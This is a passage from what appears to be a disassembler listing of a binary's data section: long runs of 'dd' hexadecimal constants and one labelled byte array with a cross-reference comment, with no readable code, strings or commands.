0C2AAE7B5h, 2D229900h, 0FBDA4E72h, 530500BAh dd 69D94D93h, 90067102h, 0AEE619D7h, 0E9AC0060h, 27CD8F55h dd 20E7A1Bh, 0A09229EAh, 1E63ED1Ch, 58790E6Ah, 8A4001C1h dd 20E781D4h, 0DA44090Eh, 6D313814h, 4B423AA6h, 0FD00ADBEh dd 2F5EE9D7h, 900FCEFh, 0BD1C9A99h, 6C6B4Ch db 38h byte_545541 db 8Fh, 60h, 0A6h ; DATA XREF: ___:004447A8o dd 76AD4581h, 14F2EF7Eh, 1071CF00h, 1FD626Bh, 0E9293FA3h dd 0D760F533h, 15B339B8h, 0BAE1EB00h, 36A0B061h, 21796108h dd 0D4EF91E9h, 7A01B5DAh, 175EFEE3h, 80BE193Fh, 12F5B20Fh dd 9A0C2C2Eh, 8F002930h, 64DE83Dh, 0F4569DFAh, 5080008Ah dd 5AF2B7C3h, 87181294h, 0A610C4ECh, 750F017Bh, 0C9F6AEA4h dd 8C8EB821h, 50FE16DAh, 6F081B92h, 80109123h, 6073EA33h dd 0A97FA920h, 0C10AF59Ch, 0A00419D9h, 21F9B1B9h, 6AD903D0h dd 243FF5F0h, 1E28AF8Bh, 7A164FB3h, 912A4E60h, 0E50F54D7h dd 4778DE8Fh, 0E2709769h, 3E6D23Ah, 8DF2C3BEh, 26005015h dd 4B9E6717h, 0CD93E8Bh, 1EEB08E8h, 8590F319h, 0EC1D9B03h dd 0C8416494h, 0E3E8892h, 0BD2D17E4h, 364710A0h, 0CF00EF29h dd 65895798h, 0C028E60Ch, 4E927118h, 0F0FC8BEh, 36E3166h dd 0C0C55963h, 3D654DF2h, 6A8C4FD9h, 8A586726h, 72E3EB1Ch dd 0B53F807Dh, 0FB9238Bh, 3AC1F077h, 28E093ACh, 19611B8Ch dd 0DCB718C1h, 998E6F5Dh, 0A2C3DD5Ah, 681E8A87h, 0A4C0BCF4h dd 46E33649h, 4A0C3BF2h, 1967A063h, 356A6F90h, 0EC5181C3h dd 45896A8h, 25634DAAh, 411C03B4h, 0F5180013h, 1AE66F69h dd 370318ECh, 87F26AB8h, 568CC01Eh, 6E2305C1h, 0C1FBD76h dd 0CB903EA4h, 83086042h, 4414B89h, 65002D6Eh, 7050EB50h dd 0F661EAC0h, 69D1B50h, 0CB10744Fh, 0FAC8E160h, 9732C040h dd 0F00F06CDh, 682526BCh, 0F1C120F0h, 2970B357h, 453A9BCh dd 0B23019E8h, 0F4C1012h, 0EC1509D0h, 1956336Eh, 4ECACF03h dd 0A719C86Fh, 3E5E06FFh, 29D1604Dh, 661F20h, 85919BB5h dd 10062926h, 7DAD9C00h, 0EFFB1299h, 867E66h, 137AEE68h dd 140835Bh, 0B70CD300h, 2F96498Bh, 5FC2000Fh, 0BF285AA4h dd 1D00C19Bh, 74408845h, 1E789261h, 0E4BB16Dh, 0DDA0D52Bh dd 4D5FB37Fh, 0BD06DB00h, 8A17F581h, 0E9CE0071h, 4C13A809h dd 49E2B7D8h, 0B923D00h, 2F3C5054h, 441C00BEh, 86314DEh dd 4000BBD9h, 0F26F2E60h, 568EE8Ch, 607AA3Bh, 0EB94036Ah dd 0C6E0522Ch, 7F0028B1h, 1DB2980Ch, 25FC733h, 0C092F48Eh dd 0BEC03060h, 0CD001708h, 7293E0Dh, 0FB1BB5h, 5B9DFEDDh dd 18B9D03Ch, 530B3303h, 0F8E72146h, 0EE8A3B1Dh, 325E0009h dd 7C92BF89h, 0F7008F72h, 9E37F3F4h, 7B63E9A7h, 7D6A0079h dd 7614B63Bh, 0ED0592A9h, 154A015Ah, 0DA2E0EC1h, 94967680h dd 6C0A5113h, 4B011C00h, 0DE0CD756h, 6D57008Ah, 0F892A595h dd 6A09BA1Dh, 0E85A25h, 86308B08h, 0A2DC05DDh, 85635311h dd 8C4483EFh, 6893DFBh, 0B57C60EFh, 0FEDFFB03h, 0FD564489h dd 13CC87C0h, 43550079h, 0A42FED5Bh, 20077C67h, 0E9C46039h dd 0ED0F740h, 377800B5h, 0F0595ECBh, 93003863h, 9D94C5ABh dd 5B2E99h, 8B258866h, 0C8F47C8h, 16B75200h, 1B449A85h dd 66E289h, 0C3E99E9Ch, 2E8E34FAh, 0AF1C8800h, 9945333Ah dd 1FC61264h, 5740040h, 7774E10Ch, 0C0565900h, 48CCDDEBh dd 406A0563h, 0C0F4D5D6h, 0ABC2CB10h, 6D917300h, 0BC06FD23h dd 80460099h, 0F3D0123Fh, 0AF1278CAh, 504791EBh, 37C0C5B0h dd 7DD5AEh, 32C2FE01h, 51052385h, 0FB93B900h, 30F6C96Dh dd 40AD0781h, 0D0F07ADFh, 50267506h, 0F2485C60h, 6E57241Dh dd 0E0C01104h, 3E7DA4D3h, 5902B600h, 79BAB7D9h, 1E96FEC8h dd 47AB44Fh, 8016A364h, 0AC2C4BE0h, 8F6AF20Fh, 8EB34908h dd 0ECCF1D92h, 1F9F4A5h, 2F1712Fh, 0E6EC6C78h, 0BB553DD1h dd 4593C181h, 0C9065D0Ah, 0BFE0C7C2h, 0B9FC8935h, 278E791Fh dd 7DACBE40h, 6067AAD8h, 0C012056h, 3B004DAh, 14A44300h dd 7602B30Eh, 7FD10069h, 90C081B2h, 8404478Eh, 1A6CBA43h dd 517040D7h, 0BBB701h, 9D7C365Dh, 5A0FC4A5h, 6A1F900h dd 8094FDCEh, 96D00D3h, 887DCF73h, 620091EEh, 0C2F24B57h dd 12A7B6h, 1C4F447h, 4284D050h, 0B0AB68C5h, 51438C5Eh dd 0F8DC3853h, 6FBE24h, 31AB63EAh, 920FD2C5h, 6A33A800h dd 0CD9107F3h, 0EDEA0050h, 0B97F9834h, 2E009E20h, 61F4F817h dd 42BE26h, 0E0847C3h, 930AD3C8h, 8046A03Fh, 0AF54246Bh dd 1FD20C1Ch, 0AC39782Fh, 8C700044h, 0EE79551Eh, 1807C000h dd 293CC964h, 1ED6723Ah, 0C05FF74Ch, 1AEE15A2h, 0EA00FEC5h dd 0AEC89280h, 883FBFh, 792DB957h, 0EBBB3B86h, 0AAC1200h dd 0DF44716Fh, 0A9031726h, 8D840359h, 80F07C69h, 30095468h dd 209C5CCDh, 65888984h, 14FA00F1h, 5A707BDAh, 0E671C551h dd 0E5EFC375h, 3E4EF43Ch, 14EF2F00h, 8B79A6EAh, 0C21C0037h dd 4C96BB03h, 0FC044778h, 1AD6702Bh, 55413402h, 53B2D468h dd 0C10D7B1Fh, 0F2810BC0h, 236C9Fh, 494D89D2h, 2A92A2F9h dd 0C633803h, 80905D85h, 3F5B53h, 0D6E9585Fh, 488C5CB7h dd 1DBEFA00h, 653441EBh, 2785002Eh, 8B2B5280h, 933BB79Dh dd 59210768h, 95107FA0h, 39CC2E9Fh, 0A41D206Fh, 9209805Bh dd 2D4C6897h, 39482F77h, 305F2412h, 50EC100h, 981AB9Fh dd 4C7BCD95h, 0A94E3400h, 0FE009396h, 0DC131FDFh, 16735190h dd 81D90550h, 60668DB0h, 2D007010h, 0BAFB0EE8h, 763A4607h dd 7941007Eh, 0C8EE552Eh, 3239AAB0h, 9C951369h, 83777400h dd 8F1412h, 0F0A2F830h, 411FB75Eh, 16A8DF12h, 838B3840h dd 19E9869h, 0C8FC430Dh, 0DDAB49B2h, 41CED9h, 0E251C022h dd 5504A900h, 58BCEFDFh, 30370053h, 8D9DAFD0h, 0F4E10BB4h dd 5E376E12h, 42905A4Dh, 7282CF05h, 4A1400CBh, 96890EBFh dd 8D001748h, 0F591707Ah, 5D6DD24h, 32379A1h, 0D41CD078h dd 630090EAh, 0BDAB3555h, 0D1E329h, 5DBF3F39h, 28931FE0h dd 0BBEA8E00h, 1A487185h, 0A9CF00E5h, 8B0467Ch, 0F00A6DAh dd 0EE073D6Ah, 38629BCAh, 0C2002752h, 20608731h, 0D417E494h dd 58417A4Dh, 3B5A6A8Eh, 30C04CD0h, 941913ABh, 6B073D54h dd 6EA18B23h, 0CF9582CEh, 6DD083E8h, 4405E03Bh, 56903B16h dd 98E35983h, 4D9837A6h, 0C52EEF43h, 0F01FF055h, 6896098Ch dd 78549AE9h, 3D522E3Fh, 0B99F98h, 989E833h, 84007190h dd 35A98855h, 6EE465h, 0D6D9F0B7h, 0C233193Eh, 54A1C07Eh dd 10604E8Ch, 0CE813A2Ch, 0F1467B09h, 8F13E0B8h, 0D1B79F0Ah dd 0FD0798CDh, 0EAE076E3h, 45EB8Ch, 0DA25B4AEh, 4DC4E03Ch dd 0CCF6AC00h, 0F06EF7AAh, 0D040BD0Bh, 11006C85h, 0E22098F2h dd 3CC073CFh, 0D000075Ch, 1A2F2CCAh, 6E019B02h, 5C1D8E9h dd 0A6EC4C34h, 0E8F800B8h, 9FECC49h, 3A1C505Ah, 0B343F411h dd 90364EE9h, 0BA15BE17h, 43E0020h, 6E9F29F8h, 39198A9Bh dd 108D365h, 0C02B2180h, 0AD180329h, 5001CFE4h, 0AFABDA37h dd 3024726Eh, 908C77DCh, 4B752Eh, 3DD5CB0Fh, 0FD6CF38Eh dd 0B900777Eh, 1E7DA6A2h, 30042EECh, 0F7181619h, 8640CE69h dd 0DCD750B3h, 0A83A4E8Dh, 188936D2h, 14EDF889h, 0C4CDB066h dd 0FAC13783h, 59BA8EE8h, 0AA96E919h, 21803D08h, 55FAB8D5h dd 560FA12Ah, 8FE00FD4h, 1D90409Ah, 49F008ECh, 0F306143Bh dd 70844A79h, 8635DDF9h, 15666F19h, 0A2A73A51h, 0B1867A18h dd 0D307568Dh, 0D8FC18E5h, 7F3D02Ch, 8E5B6CA4h, 0B015A007h dd 47487CF2h, 0C2A100F9h, 1EAF4833h, 0AC60093h, 0E04B6495h dd 0F90069EAh, 0D8F2985h, 305A6E71h, 9FFCF107h, 10007C9Ch dd 334A448Eh, 516D41h dd 0F2F77FB8h, 192C1583h, 0CA188C0Dh, 22CCC225h, 6D111A93h dd 4173045h, 1D1F0A41h, 36191080h, 44401015h, 8921B90Fh dd 12DFBF6Eh, 0C30A00FDh, 18F88D1Ah, 29146223h, 7027220Dh dd 1B178868h, 900F8F88h, 83E8421h, 484EEB48h, 3CF5940Ch dd 280AB211h, 32214FFh, 2549220Bh, 5389C67Ah, 9441008h dd 4D22845Dh, 98274406h, 4BFF6D00h, 0D2CBFAEBh, 44436F78h dd 0ACE1D041h, 353520CAh, 8767D739h, 0BCD30D49h, 875D9B20h dd 524711Dh, 0B070A310h, 4BEAC069h, 611FE553h, 5C005A91h dd 0A49CC128h, 3EA0004Fh, 9FB799F5h, 9B004596h, 913AFB33h dd 5D1EFh, 479762A8h, 0B316ED9Ch, 0E6C35D17h, 5A274E00h dd 758618FCh, 0E97A0EB5h, 72815294h, 0FCDC1F22h, 90083D7h dd 131120BCh, 708F996Fh, 0D43400CCh, 0D8B31902h, 95004ACAh dd 42E39694h, 9D6C1F0Dh, 6FDF2660h, 69557C00h, 6E9484B6h dd 0F0ED00ABh, 2DD517EBh, 15004007h, 4EA496C6h, 3C98CC8Dh dd 0B001F030h, 0E9DFDAD8h, 35AD4FFh, 84BEC500h, 20736385h dd 74F107D3h, 0D09F6CEDh, 6B181339h, 0C4024DB8h, 0BFB9C130h dd 3BDB6170h, 7404824h, 201DB17Fh, 715AF0E6h, 6800F19Fh dd 5FF68042h, 27A7759h, 58C294AFh, 0C16269B4h, 65B113C0h dd 6068E830h, 1064F067h, 8F7A4EDh, 44B2D0h, 0BC6E5C6Ch dd 251451F8h, 8C8DA8h, 4306E970h, 0AFDC54h, 907FADA1h dd 0F6629208h, 59074071h, 0D1F3CB49h, 8DEA3780h, 0EAA98ABh dd 0B23BD57Ah, 91BA0136h, 0D4A9FE3Dh, 4009B7Dh, 92022AF9h dd 0D687DBh, 202CE934h, 24AB7978h, 7ED9A600h, 0BCB8A29Eh dd 0F57D00ADh, 7345EAC3h, 3B0021EEh, 9105D56Fh, 1C83A4C1h dd 0C67EECh, 5EF69F2Dh, 6C30298Ch, 0A7FBD060h, 148500B6h dd 0B31E5C26h, 0E77543A5h, 0A0EA9F02h, 402769BBh, 7A23F8h dd 7708781h, 93FE124Eh, 849AD500h, 546827E1h, 0EFB00762h dd 0B9BBB85Ch, 210F1820h, 980A096Ah, 8C91F569h, 0FDC1EF80h dd 5B528Fh, 6BA52966h, 0F7B86A5Ch, 44B6E31Ch, 0E0E2984Eh dd 45BE6E7Dh, 83E0C08Dh, 0BB551AFEh, 53006AF0h, 6D89DAD4h dd 7A4940h, 0DE0C6B99h, 2923F15Dh, 0DA000D7Dh, 629E47E8h dd 11585F4h, 59E3B6FBh, 32BAA80Ah, 98B85464h, 9331A02Ch dd 0AC90EF03h, 83889262h, 0D31D8FF4h, 17ED9838h, 0F98900BAh dd 0D33ECDB2h, 610C01F0h, 0CE8AC533h, 0CB5100DBh, 0CB37103h dd 6A1F6EFFh, 0EB165796h, 0A1C09A1Dh, 6F1CA676h, 44044806h dd 0AEBD4405h, 1FBBC89h, 46094C0Dh, 0D840A856h, 3CF99Ch dd 8BCC7EF0h, 24550777h, 97CFBB00h, 0AE709344h, 658D03BAh dd 28B09F0Eh, 6806C698h, 90618824h, 0A6D50100h, 0EEA1D3B3h dd 2B5F00FAh, 0B8A787BBh, 32001489h, 3F5D123Eh, 7FAE1D50h dd 0FBA40375h, 84EF0502h, 580B7900h, 606D5218h, 58574CE3h dd 0FC37900h, 7EB8245Ch, 0DAAFE412h, 0FCC27801h, 48302C8Ah dd 2837C1Eh, 0AC15594Dh, 0B88AC6DFh, 8AB9035Dh, 0C1F8E59Ch dd 5000B13Fh, 84237138h, 7C8C45h, 2C35B0CBh, 0BA264879h dd 74B75A00h, 103851Eh, 84E158B5h, 0D9003B39h, 0BAB09EAAh dd 0AE00EFE5h, 1DC9567Bh, 1862D0B4h, 408AEA57h, 0FD00DD72h dd 0C519DA2Ch, 38B5D7h, 42CEAD30h, 41D2E4B8h, 1A76C400h dd 21981C8Eh, 395F1351h, 0DB044096h, 54916975h, 24178800h dd 4D3F2ACEh, 4A1100EEh, 33E2A85Dh, 5600D487h, 800358B5h dd 211EB0h, 3B61DA8Bh, 16AEDB68h, 6C0711C0h, 88350A9Ch dd 0EE0006CAh, 9793A381h, 7D08ABh, 0E2D3481Bh, 5C5AF9Bh dd 0EAF3E400h, 6D40F7F6h, 71BD01B5h, 0A3093517h, 8060FEA1h dd 0AB39DBF8h, 0C514800Eh, 0A49EFFEBh, 1D2B030Ah, 77A77CB5h dd 544020DFh, 23006F49h, 39D3DD9Ah, 0F5F7A0Ch, 0F7022B8h dd 9F9DC260h, 270EC8B5h, 60FA3CA4h, 0AEBC4A99h, 3018FCDFh dd 8FF0A7E2h, 92127632h, 0AC0038DAh, 3B417FACh, 0D9FC0063h dd 142EF9F6h, 2724D843h, 6A00E8EDh, 0E6952A6Eh, 0E39C002Fh dd 60E9178Ah, 52E6D121h, 1D15EB00h, 4625AE9Dh, 0B17AC7h dd 0C1FFA266h, 0D979E8BFh, 1ED38700h, 0B7657177h, 8B208h dd 1B3C1792h, 0E058B263h, 83B97900h, 42AA3F11h, 0A3641F5Ch dd 80C026ECh, 6C444780h, 0FD00DEFFh, 88714518h, 75BCDF9h dd 0B76A07F8h, 28A42A24h, 9DC700D4h, 7BF3C914h, 0A00E699h dd 0AC7856F8h, 0F2B96653h, 80F6076Dh, 737152B3h, 0A00849B0h dd 417CCCh, 3E0C7F68h, 620EFD20h, 43B854FCh, 91602F86h dd 90418823h, 0D16047DDh, 0B058C1AAh, 0D4A40C6Ch, 40004BBDh dd 3270D257h, 0FB8E41E0h, 42F8D0h, 0A59AC371h, 7A28B350h dd 1827E800h, 4A68825Eh, 89AC0017h, 0A7A3EE8Eh, 2C00C1BBh dd 6ED7CC25h, 7D34A5B9h, 0AFBD00DDh, 1A7E7923h, 8079855Bh dd 4F086E01h, 0DB93FB11h, 11755ECh, 14799954h, 813AA2CFh dd 0E4B9F8D8h, 6BC445C9h, 0FD13C57h, 9B59DE8Fh, 212729E0h dd 3100B1CAh, 6BCC96B3h, 521EA0h, 0D9ACE9F6h, 27346F7Ch dd 89FAC902h, 0C0F1D108h, 1C660C6Ch, 40022EC8h, 0A33EBFADh dd 6214576Eh, 1CCCF60h, 94F34035h, 63EC83B3h, 0AE660055h dd 9728F2EFh, 0D700292Ch, 5B3577DFh, 2EED1F4h, 0C02E6303h dd 605F4CB1h, 2C516161h, 1241776h, 7F444E22h, 40CC2029h dd 0FB683E1Dh, 644B0880h, 12065Eh, 2D2A857Ch, 0AA21070Bh dd 100CCB2h, 7F0AA095h, 9890EE57h, 0E9AF003Ch, 0FEF0DAF7h dd 0B10FED43h, 40A17FB4h, 0B0226D1Fh, 3710050h, 0DBA56F1Eh dd 0FD059A7Ah, 528628FBh, 7F2C5490h, 672012E6h, 695C00E2h dd 0C3DBBD1Bh, 0C0E36601h, 592AA147h, 90B636C8h, 151C0620h dd 40610E34h, 5C0C3301h, 223E0AF8h, 4C7246C0h, 3A012A15h dd 5753FFCFh, 0B9388BC0h, 0DE48803Eh, 0EC37033Fh, 87AE2692h dd 60C180DCh, 0C911395Ah, 0EBE65D1Dh, 0F08460B3h, 1F0ED05Bh dd 0BA592787h, 0E2E3B080h, 742F3D98h, 0B685230Fh, 0CD91603Ah dd 1A9DF8h, 0E4EC7E58h, 6B6D05DEh, 0F9922901h, 0F05A09C5h dd 175373C0h, 20338028h, 0B7F6C708h, 9A449113h, 75082C00h dd 5A02E3h, 9728157h, 1BA33B50h, 0FA1F5302h, 6088F1C3h dd 55679h, 8FC46F5Bh, 19E6640Fh, 2A7FFCB8h, 0EF882B03h dd 98269432h, 1B0266h, 57F48547h, 1715F648h, 2E3A9300h dd 9A696407h, 0F8580E24h, 19407B14h, 7FA29296h, 28E03900h dd 0AA95ED2Fh, 29DF078Bh, 0E042BF6Bh, 2615F762h, 0B4224D0Eh dd 908043A6h, 4EF2A8D6h, 6B1600DDh, 0E8A00705h, 900C0EDh dd 80AF46CCh, 0FD405Fh, 0EE4B82F6h, 0B9E62C2Fh, 0D8D64300h dd 0C02021D0h, 7D3A0028h, 7F6541B8h, 0D099988h, 53251A4h dd 0A8CC3420h, 2FE940E1h, 0B7C6AA03h, 893F0D6Bh, 6FDC99F7h dd 1C35EA9Fh, 0C0130h, 3476D958h, 4D12EE5Ch, 0B4003AC4h dd 0E6177007h, 73EA1C77h, 548FBCA0h, 5809FFFh, 52559727h dd 82BB5125h, 60B8AE7Ch, 7532C60h, 5408EC4Ch, 635B7087h dd 0D900BB15h, 1E1975C8h, 244C3D95h, 0C47CD5h, 402A44BFh dd 96092F64h, 9410A3h, 0DBC843B8h, 0E3D0B25h, 0D4809B75h dd 58EDCDD3h, 0DCAE0A00h, 0FC579FE5h, 0B23E0027h, 0D2222B99h dd 0C308F18Dh, 76F5CCh, 3994E45Ah, 0EDB8B4BEh, 0C2139D00h dd 520A2DD7h, 26CC00E3h, 0CFA1A940h, 770003CAh, 3173F5D3h dd 7108015Dh, 0D0961D97h dd 8C00A527h, 1E9ADA94h, 3BB48100h, 0F5D6B14h, 10AA0076h dd 0D73CDCF7h, 0E42461F2h, 71002895h, 0D32D1F22h, 8B7F33h dd 62E7BB3Eh, 6E6FD01h, 0F420D00h, 4EE4F42Dh, 0D8AB037Dh dd 362C34A4h, 12901AF8h, 4982A71Ch, 6B990C40h, 1856FC10h dd 162664BBh, 0C100A96Ch, 8019F891h, 218B45h, 856555E0h dd 0A7D73067h, 322B3900h, 7FF624C7h, 6C2101E5h, 4553A5BBh dd 2BE1D068h, 288511C0h, 9A639814h, 176B074Ch, 72EC75E4h dd 3446DA5Eh, 0B62120h, 86F8036Fh, 0A4ACDD54h, 6995A500h dd 7E659C5Fh, 0EA2E63Eh, 0C81B1F84h, 7F797860h, 0F80047BAh dd 4968993Bh, 0DD6F74h, 0D4665485h, 0CB9C23F1h, 20001674h dd 380C69F6h, 3053BB7h, 0C1138B17h, 7200A35Dh, 99B41166h dd 0FE4D21h, 0C99A10E2h, 85318E6Eh, 0D216930Fh, 2757A1BEh dd 24208CDEh, 78EF1372h, 81181C0Fh, 0C184754Ch, 603461B3h dd 2200BACCh, 0F27A0B3Ch, 3ACE536Ah, 5AC1FCAh, 0B93F01D4h dd 30147042h, 0C400E66Ch, 3E37DED6h, 1EDFE0F5h, 0B99D0306h dd 93759880h, 10D72DFFh, 0AACEBA2Eh, 0A356B300h, 0FA536Dh dd 0E842FC77h, 20B980F1h, 950AB405h, 0A480235Dh, 0DCBEDEh dd 0DA0768Eh, 0EBCCD44Eh, 4F00AAFCh, 0F4D94ACEh, 5C2D3CBh dd 575B792Bh, 142080B6h, 600759Dh, 3FC1E24Fh, 3313976Dh dd 3BC0CC36h, 22A94EF8h, 0AD10CD64h, 10B4CE0h, 17F8DC3Ah dd 0C4C86BE8h, 5F2E31Dh, 7849A5Ch, 0B5C22B80h, 0E92A8ED0h dd 95A700D3h, 0DA6D311Ah, 18921FC1h, 0DE71E812h, 0CCCE9300h dd 0E25759CFh, 0F17517C4h, 84E0430Ch, 5E10E77h, 6394EC3Fh dd 0ED6CF500h, 0D3E4C1DDh, 2F370099h, 0EB1E8387h, 63EA9DD2h dd 0D49D0A0h, 5BAE9E00h, 59BABC6Eh, 0A4345CE4h, 0F69ADB38h dd 4280603Eh, 0F1323650h, 0BCC39B00h, 68A257Bh, 15B11347h dd 9C110093h, 38025E9Eh, 8E4BD83Fh, 0C3D5A1BEh, 885B2984h dd 0E4A6B513h, 45BD1774h, 0A54004Dh, 0D2BA122Dh, 94630502h dd 0C0E13D0Eh, 0B9174D8h, 0EC2C5728h, 23A6F0A3h, 0FA84C5E8h dd 3F00AA90h, 6B2E2A13h, 8D0CACh, 4149566Ch, 828AB96Fh dd 40C4CD2Eh, 0A15D0Eh, 2C807111h, 0C12D008Fh, 95F343B6h dd 844EDD99h, 44CEE840h, 0E70151h, 5A8F3F18h, 0C92D9E67h dd 0ED35AC0Eh, 8FD28F90h, 0EF27C07Dh, 0F2D706F0h, 140CB881h dd 98424EC1h, 400DCC17h, 2B4399E4h, 0CD002425h, 166EADB2h dd 0F53B3Dh, 0C706059Dh, 743FE0AAh, 0CA263300h, 51AD80FDh dd 3B080083h, 1C614EDDh, 4B501E25h, 0D42E3298h, 0D382EC3Ah dd 602C72B3h, 24B89ADCh, 30868A8h, 1486B4E1h, 5B9802ABh dd 9A3D8AC0h, 0EA1800E7h, 719E1274h, 0F01F00BDh, 1B550E7Ch dd 0E31C5C05h, 2B84CEE4h, 30F0586Ch, 0C0C900B1h, 61E55E02h dd 6F5DA2D9h, 64AC0ACh, 1796F1B8h, 1D709C04h, 0AB1C7BF8h dd 40A11EBDh, 1C827C51h, 0D97E26DFh, 0D2559800h, 5DB32DFBh dd 74587AB5h, 0DBFA9Fh, 0D311EF56h, 0A1A49CC4h, 0C52FDD00h dd 2C89665Bh, 0B0D40118h, 57C393AAh, 2116F1A7h, 5F1440BEh dd 0D97CBA1Ch, 0ABAF8600h, 5DBBD71Dh, 66360693h, 10D60B81h dd 3E3A5F00h, 14B6A4FAh, 4A8E0FCCh, 0F3844918h, 915CE08Bh dd 0C9882C3h, 8F799043h, 0BC90E1h, 0B9931895h, 0B7344DDDh dd 0CA1DE414h, 0DB791090h, 8CD04539h, 64D60099h, 0FC0B4D4Fh dd 0AA003639h, 0B921FB81h, 2F0CFC1h, 5AD2D3C4h, 61C071E0h dd 0F004359h, 3FA02D66h, 98E86298h, 3CCE00F8h, 14586F1Dh dd 111A3E0Dh, 41101E7Ch, 98FCEA60h, 2290005Ch, 0AF1C30F0h dd 38007B7Ch, 647F928Fh, 0E79B3940h, 8180D887h, 4D0EC02Dh dd 99381FB3h, 62660BD7h, 0EFF50063h, 717911A8h, 93DE00FAh dd 1A672834h, 0F40EB1BEh, 203705A0h, 0D1C291EEh, 299812D0h dd 824C1E50h, 0E472F610h, 0B600B470h, 78FAAEDh, 0FEB556C8h dd 772B0486h, 8088554Eh, 0A2576118h, 0C0930C09h, 9B80F58Bh dd 875DEC18h, 0F9321B00h, 8F605372h, 0A4AD006Ah, 0F2D50BD9h dd 7001331h, 0B8679879h, 7C67EEAh, 66B785B4h, 0C9E020A0h dd 0F3000BCDh, 0ACD6A7C4h, 1ED2CF5Fh, 0C070F14Ah, 39028E66h dd 4D0072FEh, 9757620Dh, 0FFDA9Ah, 33E01C4Ah, 0A3AB58C7h dd 7D004D7Fh, 552E7778h, 1257408Eh, 4043306Eh, 0C519D814h dd 0A400A6AAh, 0F031374Fh, 7B9BE98h, 789227Ah, 1211F001h dd 0AC0076D3h, 31FF804Ch, 48C49D6h, 13CF5CB9h, 6D90C187h dd 4E12F4E8h, 0A846A8A0h, 784B8E0Bh, 0C4BC8298h, 27B84849h dd 0A7A001A1h, 0A9672C7Ch, 264FFC9Dh, 8F3C6A38h, 0A0B19EF8h dd 1FC36671h, 55DF03DCh, 6EB7A106h, 24C156B8h, 0BB8BCF02h dd 403B15AAh, 0C53CECh, 0C336CBB1h, 0F3D5DBB2h, 0C76DDF1Ch dd 31032547h, 0A3108129h, 84403E92h, 0FE8D553Ch, 96548043h dd 220025F4h, 0ACB3CC21h, 263A556Bh, 74F736h, 8D267C83h dd 32004E8Eh, 7AFBC828h, 8652AEh, 4AD93509h, 0D6A4C38Bh dd 0ADA3E50Bh, 0BA102095h, 9801C21Ch, 250D1278h, 5C67000Ah dd 8ABC3DA3h, 95149C00h, 6872AE47h, 4DFD0BCDh, 1807CF51h dd 0A70200BFh, 0D91DA5A3h, 5603B9B4h, 0C834B6BAh, 90906241h dd 9B0D034Ch, 37021707h, 0B04099E8h, 0BD01DBE8h, 9C60DCEBh dd 0C0C65F2Dh, 5CD360h, 8EE7F3CDh, 6C44417Fh, 88B9AA0Eh dd 4573E001h, 0EFAEA1Dh, 623A25CDh, 8F28C23h, 94F43E98h dd 0CCE0960Eh, 28017322h, 56840DA1h, 0D99620h, 30E8B061h dd 0F4971CF1h, 0BC07649Eh, 45C1CB19h, 6AEC59A1h, 13509C04h dd 48B8C8B4h, 0C82D340h, 0A85CA135h, 0F33E8050h, 0E9658089h dd 7BE81C6Eh, 18081EEFh, 0FF02804Ch, 358A17DAh, 8100157Ch dd 5567E30Fh, 1C6D39Bh, 0DD482A1Bh, 0CAAE7361h, 0E3BCD260h dd 0CD5AF312h, 402AF449h, 79AFBE14h, 0B3A000DFh, 646B33E9h dd 5E029BD4h, 0BF2D5F53h, 2471B2h, 2A4ACDABh, 19016DAEh dd 0A3D7A40Dh, 188BA7E9h, 0BC619FD4h, 0CA83C72Ch, 0FB7E1900h dd 871AF27Fh, 0F88100BDh, 575AE056h, 4F00469Ch, 0FF3C0589h dd 620871h, 34CA5F80h, 0C43027FAh, 83B38B00h, 72CFD995h dd 5ABF39E9h, 7A4C5580h, 0C35C3276h, 292EBB0Eh, 0C0A1219Fh dd 0B4406C90h, 0FDECDF9h, 2C59CBABh, 0B3235800h, 0AF00DF7Fh dd 362A0C41h, 0F37950Ah, 6DA61488h, 0FB339CE0h, 7C38E73Dh dd 36F8084h, 654A1050h, 60EB2458h, 17FD24BCh, 88088C07h dd 0FDED2500h, 653F2CCEh, 1C8B7F63h, 8B1E85C1h, 0A860766Bh dd 0E0003BCFh, 17F556D2h, 48AD63C3h, 0C40E18A8h, 94C470F3h dd 98AB049Ch, 0BFA76F40h, 0DC94F693h, 9D5E5A00h, 0EDBE47h dd 4D9E98C1h, 3EFEF7A3h, 0CF85F200h, 20C3CABBh, 0D479260Dh dd 0E1430044h, 9C4ED7Eh, 2E10A800h, 0F0D9D04Dh, 135370F3h dd 0B46654h, 6B3FF21Fh, 0E6058DDBh, 3CBD8C0Fh, 15E0F887h dd 0C12747FBh, 65E39050h, 0AA4AD862h, 1C4C18F4h, 92B0E97h dd 835875Eh, 3625F520h, 28016013h, 88D2B53Ch, 0EB5FD000h dd 383B1245h, 80FB50D5h, 93C200D7h, 1C503DA5h, 903D3C7h dd 0F283BB85h, 5F819967h, 11DFC40h, 0A9E025CFh, 6CDAF2C0h dd 0D7705000h, 9BEF338Bh, 0D29300B0h, 7B89F7F9h, 1E0283A8h dd 6349529Fh, 0EF80489Eh, 92CD0085h, 1E5A137Ch, 0E1025B4Ah dd 33ECD0E6h, 801C5474h, 9107C528h, 8E00EFA2h, 1435ED1Bh dd 0C175E4h, 4D026E9Eh dd 7F49CDFCh, 0B785D5Ch, 0E06FA92Dh, 0A6F4F4h, 3F7043BBh dd 9EA1A733h, 0E9454E00h, 0AA66B007h, 80C4917Dh, 0A17744E3h dd 290258C6h, 0BCCF831Eh, 28BC784Ah, 98C4CBB7h, 66CE1204h dd 482B0BB2h, 0B0008FD6h, 2DFAE25Bh, 5C050070h, 8E2AA0CBh dd 0E80045F2h, 10BD9261h, 9874E9D9h, 0EE2E03D0h, 0E203477Bh dd 40499DF8h, 0FCE69A00h, 732AB54Eh, 8E930053h, 6DCA98ADh dd 560024A2h, 0E75116FAh, 3167D96Bh, 8D96C3B9h, 4380CF50h dd 7800D379h, 5BD60755h, 1B093Bh, 68990A65h, 0C88B0CDEh dd 6E86310Eh, 8708202Fh, 6085A41Fh, 0FB0FD45Bh, 123DB22Eh dd 0A6ED0BA7h, 2D90A02Ch, 7AB31Fh, 0DAA925AAh, 44BB9B7Dh dd 0F3009092h, 44D1F09h, 3ADC0E4h, 14A646E1h, 6FD02541h dd 0E2008622h, 446583D3h, 3C4642Eh, 0A8068E20h, 8DBF284h dd 0EA29C3ECh, 0B51987D0h, 714F748h, 0F14F30E4h, 3D2EA441h dd 44C47183h, 9C0B041h, 0D1F5AAE9h, 68A1D0F5h, 6D007CBCh dd 0E63D0FC4h, 0E54F0E40h, 198138E4h, 0E81016B0h, 0C2F848E2h dd 31C1A876h, 935ACF1h, 183C0330h, 182FCCDDh, 79053245h dd 